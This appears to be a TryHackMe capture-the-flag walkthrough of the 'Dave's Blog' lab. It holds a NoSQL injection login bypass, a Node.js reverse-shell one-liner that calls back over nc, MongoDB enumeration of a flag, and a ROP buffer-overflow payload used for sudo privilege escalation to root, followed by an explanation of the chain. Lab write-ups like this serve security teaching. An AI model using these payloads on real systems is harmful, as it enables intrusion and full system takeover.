tryhackme // 2026-01-07 // ID: REF-Dave's Blog

Dave's Blog


PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f9:31:1f:9f:b4:a1:10:9d:a9:69:ec:d5:97:df:1a:34 (RSA)
|   256 e9:f5:b9:9e:39:33:00:d2:7f:cf:75:0f:7a:6d:1c:d3 (ECDSA)
|_  256 44:f2:51:7f:de:78:94:b2:75:2b:a8:fe:25:18:51:49 (ED25519)
80/tcp   open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/admin
|_http-title: Dave's Blog
3000/tcp open  http    Node.js (Express middleware)
|_http-title: Dave's Blog
| http-robots.txt: 1 disallowed entry 
|_/admin
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone
Running (JUST GUESSING): Linux 4.X|2.6.X|3.X|5.X (97%), Google Android 10.X (91%)
OS CPE: cpe:/o:linux:linux_kernel:4.15 cpe:/o:google:android:10 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:5
Aggressive OS guesses: Linux 4.15 (97%), Android 9 - 10 (Linux 4.9 - 4.14) (91%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 4.15 - 5.19 (91%), Linux 2.6.32 - 3.10 (91%), Linux 5.4 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
<script>
    if(document.location.hash) {
      const div = document.createElement('div')
      div.innerText = decodeURIComponent(document.location.hash.substr(1));
      div.className = 'note';
      document.body.insertBefore(div, document.body.firstChild);
    }
    document.querySelector('form').onsubmit = (e) => {
      /*e.preventDefault();
      const username = document.querySelector('input[type=text]').value;
      const password = document.querySelector('input[type=password]').value;
      fetch('', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({username, password})
      }).then(() => {
        location.reload();
      })
      return false;*/
    }
  </script>
<
POST /admin HTTP/1.1
Host: dblog.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
If-None-Match: W/"4e6-U9SczEF/N4gIGd+2/xSd9iZzGO0"
Priority: u=0, i

{"username": {"$ne": null}, "password": {"$ne": null}}

---------------------------------------------------------------------------
HTTP/1.1 302 Found
Server: nginx/1.14.0 (Ubuntu)
Date: Fri, 02 Jan 2026 12:14:17 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 56
Connection: close
X-Powered-By: Express
Set-Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlLCJfaWQiOiI1ZWM2ZTVjZjFkYzRkMzY0YmY4NjQxMDciLCJ1c2VybmFtZSI6ImRhdmUiLCJwYXNzd29yZCI6IlRITXtTdXBlclNlY3VyZUFkbWluUGFzc3dvcmQxMjN9IiwiX192IjowLCJpYXQiOjE3NjczNTYwNTd9.3uhowHBsgrc7Y9W1SK1mJ8OXKhC_TtujmS7QT6z2JZc; Path=/
Location: /admin
Vary: Accept

<p>Found. Redirecting to <a href="/admin">/admin</a></p>

---------------------------------------------------------------------------

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlLCJfaWQiOiI1ZWM2ZTVjZjFkYzRkMzY0YmY4NjQxMDciLCJ1c2VybmFtZSI6ImRhdmUiLCJwYXNzd29yZCI6IlRITXtTdXBlclNlY3VyZUFkbWluUGFzc3dvcmQxMjN9IiwiX192IjowLCJpYXQiOjE3NjczNTYwNTd9.3uhowHBsgrc7Y9W1SK1mJ8OXKhC_TtujmS7QT6z2JZc

{
  "isAdmin": true,
  "_id": "5ec6e5cf1dc4d364bf864107",
  "username": "dave",
  "password": "THM{SuperSe...dminPass...}",
  "__v": 0,
  "iat": 1767356057
}
require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc tun0 9001 >/tmp/f', ()=>{})

 nc -lvnp 9001
listening on [any] 9001 ...
dave@daves-blog:~/blog$ 
dave@daves-blog:~/blog$
dave@daves-blog:~$ mongo
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27017
MongoDB server version: 3.6.3
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
        http://docs.mongodb.org/
Questions? Try the support group
        http://groups.google.com/group/mongodb-user
Server has startup warnings: 
2026-01-02T11:51:15.174+0000 I STORAGE  [initandlisten] 
2026-01-02T11:51:15.174+0000 I STORAGE  [initandlisten] ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
2026-01-02T11:51:15.174+0000 I STORAGE  [initandlisten] **          See http://dochub.mongodb.org/core/prodnotes-filesystem
2026-01-02T11:51:18.001+0000 I CONTROL  [initandlisten] 
2026-01-02T11:51:18.002+0000 I CONTROL  [initandlisten] ** WARNING: Access control is not enabled for the database.
2026-01-02T11:51:18.002+0000 I CONTROL  [initandlisten] **          Read and write access to data and configuration is unrestricted.
2026-01-02T11:51:18.002+0000 I CONTROL  [initandlisten] 
> show databases;
admin       0.000GB
config      0.000GB
daves-blog  0.000GB
local       0.000GB
> use <database>;
switched to db <database>
> show tables;
> use admin;
switched to db admin
> show tables;
system.version
> use daves-blog;
switched to db daves-blog
> show tables;
posts
users
whatcouldthisbes
> show whatcouldthisbes;
2026-01-02T12:26:53.317+0000 E QUERY    [thread1] Error: don't know how to show [whatcouldthisbes] :
shellHelper.show@src/mongo/shell/utils.js:953:11
shellHelper@src/mongo/shell/utils.js:706:15
@(shellhelp2):1:1
> db.whatcouldthisbes.find()
{ "_id" : ObjectId("5ec6e5cf1dc4d364bf864108"), "whatCouldThisBe" : "THM{993e107fc66844........d5b}", "__v" : 0 }
dave@daves-blog:~$ sudo -l
Matching Defaults entries for dave on daves-blog:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dave may run the following commands on daves-blog:
    (root) NOPASSWD: /uid_checker
dave@daves-blog:~$ cd /tmp
dave@daves-blog:/tmp$ ls
f        systemd-private-06c6945ea3c0469d8a9cec85339c9c77-systemd-resolved.service-5ET2p0
payload  systemd-private-06c6945ea3c0469d8a9cec85339c9c77-systemd-timesyncd.service-Nt1IIf
dave@daves-blog:/tmp$ rm payload
dave@daves-blog:/tmp$ python3 -c 'import sys; from struct import pack; \
> padding = b"A"*88; \
> pop_rdi = pack("<Q", 0x400803); \
> bin_sh = pack("<Q", 0x400840); \
> system_addr = pack("<Q", 0x4006be); \
> sys.stdout.buffer.write(padding + pop_rdi + bin_sh + system_addr)' > /tmp/rop_payload
dave@daves-blog:/tmp$ ls
f            systemd-private-06c6945ea3c0469d8a9cec85339c9c77-systemd-resolved.service-5ET2p0
rop_payload  systemd-private-06c6945ea3c0469d8a9cec85339c9c77-systemd-timesyncd.service-Nt1IIf
dave@daves-blog:/tmp$ (cat /tmp/rop_payload; echo "whoami"; cat) | sudo /uid_checker
Welcome to the UID checker!
Enter 1 to check your UID or enter 2 to check your GID
Invalid choice
2
/bin/sh: 1: 2: not found
1
/bin/sh: 2: 1: not found

id
uid=0(root) gid=0(root) groups=0(root)
cd root
/bin/sh: 5: cd: can't cd to root
cd ..
cd root
ls
root.txt  setup.sh
cat root.txt
Overwriting the Return Address

In a normal program, when a function finishes, it looks at a specific spot on the stack (the Return Address) to know where to go back to.

By sending 88 bytes, we reach that exact spot. The next 8 bytes we send overwrite that address. Instead of the program going back to its normal routine, we hijack the CPU and tell it to jump to a Gadget.
2. The Power of the "Gadget" (pop rdi; ret)

In 64-bit Linux, if you want to run a command like system("/bin/sh"), you can't just put the argument on the stack. The CPU looks for the first argument in a specific "register" (a tiny, ultra-fast storage slot inside the CPU) called RDI.

    pop rdi: This instruction tells the CPU: "Take the very next value on the stack and put it into the RDI register."

    ret: This tells the CPU: "Now look at the next value on the stack and jump there."

By using the address 0x400803, we aren't running a function; we are using a tiny "snippet" of existing code to set up our attack.
3. The ROP Chain Execution

Think of the ROP (Return-Oriented Programming) chain like a series of dominoes. Once the first one falls (the overflow), the rest follow automatically:
Step    Address Action  Result
1   0x400803    Jumps to pop rdi; ret   CPU starts executing our instructions.
2   0x400840    Popped into RDI The CPU now holds the string "/bin/sh" in its argument slot.
3   0x4006be    Jumps to system()   The CPU runs system(RDI), which is system("/bin/sh").
4. Why (cat payload; cat)?

This is a clever trick for interacting with shells.

    The first cat sends the "exploit" to the program.

    The second cat keeps your keyboard connected to the program.

    Without that second cat, the shell would open, see that there is no more input coming, and immediately close.